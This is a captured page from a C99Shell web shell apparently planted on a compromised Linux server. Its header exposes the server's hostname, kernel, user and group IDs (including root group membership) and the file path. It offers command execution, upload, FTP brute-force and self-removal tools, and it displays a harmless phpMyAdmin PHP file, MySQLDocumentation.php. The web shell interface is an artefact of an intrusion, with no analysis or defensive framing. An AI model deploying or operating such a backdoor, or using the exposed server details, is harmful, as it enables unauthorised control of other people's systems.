!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Html/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MySQLDocumentation.php (2.9 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Generate HTML for MySQL Documentation
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Html;

use 
PhpMyAdmin\Core;
use 
PhpMyAdmin\Util;

use function 
__;
use function 
defined;
use function 
file_exists;
use function 
htmlspecialchars;

/**
 * Generate HTML for MySQL Documentation
 */
class MySQLDocumentation
{
    
/**
     * Displays a link to the official MySQL documentation
     *
     * @param string      $link    contains name of page/anchor that is being linked
     * @param bool        $bigIcon whether to use big icon (like in left frame)
     * @param string|null $url     href attribute
     * @param string|null $text    text of link
     * @param string      $anchor  anchor to page part
     *
     * @return string  the html link
     */
    
public static function show(
        
$link,
        
bool $bigIcon false,
        
$url null,
        
$text null,
        
$anchor ''
    
): string {
        if (
$url === null) {
            
$url Util::getMySQLDocuURL($link$anchor);
        }

        
$openLink '<a href="' htmlspecialchars($url) . '" target="mysql_doc">';
        
$closeLink '</a>';

        if (
$bigIcon) {
            
$html $openLink .
                
Generator::getImage('b_sqlhelp'__('Documentation'))
                . 
$closeLink;
        } elseif (
$text !== null) {
            
$html $openLink $text $closeLink;
        } else {
            
$html Generator::showDocumentationLink($url'mysql_doc');
        }

        return 
$html;
    }

    
/**
     * Displays a link to the phpMyAdmin documentation
     *
     * @param string $page   Page in documentation
     * @param string $anchor Optional anchor in page
     * @param bool   $bbcode Optional flag indicating whether to output bbcode
     *
     * @return string  the html link
     */
    
public static function showDocumentation($page$anchor ''$bbcode false): string
    
{
        return 
Generator::showDocumentationLink(self::getDocumentationLink($page$anchor), 'documentation'$bbcode);
    }

    
/**
     * Returns link to documentation.
     *
     * @param string $page       Page in documentation
     * @param string $anchor     Optional anchor in page
     * @param string $pathPrefix Optional path in case it is called in a folder (e.g. setup)
     *
     * @return string URL
     */
    
public static function getDocumentationLink($page$anchor ''string $pathPrefix './'): string
    
{
        
/* Construct base URL */
        
$url $page '.html';
        if (! empty(
$anchor)) {
            
$url .= '#' $anchor;
        }

        
/**
         * Check if we have built local documentation, however
         * provide consistent URL for testsuite
         */
        
if (! defined('TESTSUITE') && @file_exists(ROOT_PATH 'doc/html/index.html')) {
            return 
$pathPrefix 'doc/html/' $url;
        }

        return 
Core::linkURL('https://docs.phpmyadmin.net/en/latest/' $url);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--